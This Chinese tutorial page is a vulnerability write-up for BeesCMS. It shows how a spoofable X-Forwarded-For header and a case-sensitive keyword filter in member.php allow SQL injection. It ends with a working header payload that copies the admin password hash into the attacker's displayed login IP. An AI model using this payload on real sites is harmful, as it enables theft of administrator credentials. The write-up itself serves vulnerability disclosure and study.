网站地图    收藏   

主页 > 后端 > 网站安全 >

beescms X-Forwarded-For 注射 - 网站安全 - 自学php

来源:自学PHP网    时间:2015-04-17 12:00 作者: 阅读:

[导读] member/member.php文件//........................ $ip=fl_html(fl_value(get_ip())); $sql=update .DB_PRE.member set member_time=#39;{$addtime}#39;,member_ip=#39;{$ip}#39; where id={$last......

member/member.php文件
//........................
        $ip=fl_html(fl_value(get_ip()));
         $sql="update ".DB_PRE."member set member_time='{$addtime}',member_ip='{$ip}' where id={$last_id}";
        $GLOBALS['mysql']->query($sql);
 //........................
跟踪。{$_SESSION['m_ip']}来源。
 elseif($action=='out'){
         $m_ip=fl_html(fl_value(get_ip()));
         $_SESSION['m_ip']=$m_ip;
跟踪。fl_html(fl_value(get_ip()))来源。
get_ip()函数 www.2cto.com
 function get_ip(){
 if(!empty($_SERVER['HTTP_CLIENT_IP']))
         {
                 return $_SERVER['HTTP_CLIENT_IP'];
         }
         elseif(!empty($_SERVER['HTTP_X_FORWARDED_FOR']))
         {
                 return $_SERVER['HTTP_X_FORWARDED_FOR'];
         }
         else
                 return $_SERVER['REMOTE_ADDR'];
         }
 }
get_ip()函数可伪造。
fl_value()函数
 function fl_value($str){
         if(empty($str)){return;}
         return preg_replace('/select|insert | update | and | in | on | left | joins | delete |\%|\sss=|\/\*|\*|\.\.\/|\.\/| union | from | where | group | into |load_file
 |outfile/','',$str);//大小写可绕过。
 }
fl_html()函数不影响我们。
 function fl_html($str){
         return htmlspecialchars($str);
 }
exp:注册用户。修改X-Forwarded-For:127.1',member_ip=(SELECT admin_password FROM  bees_admin)   whEre member_user='你的用户'#。登陆。上次登陆IP变为管理员密码

自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习

京ICP备14009008号-1@版权所有www.zixuephp.com

网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com

添加评论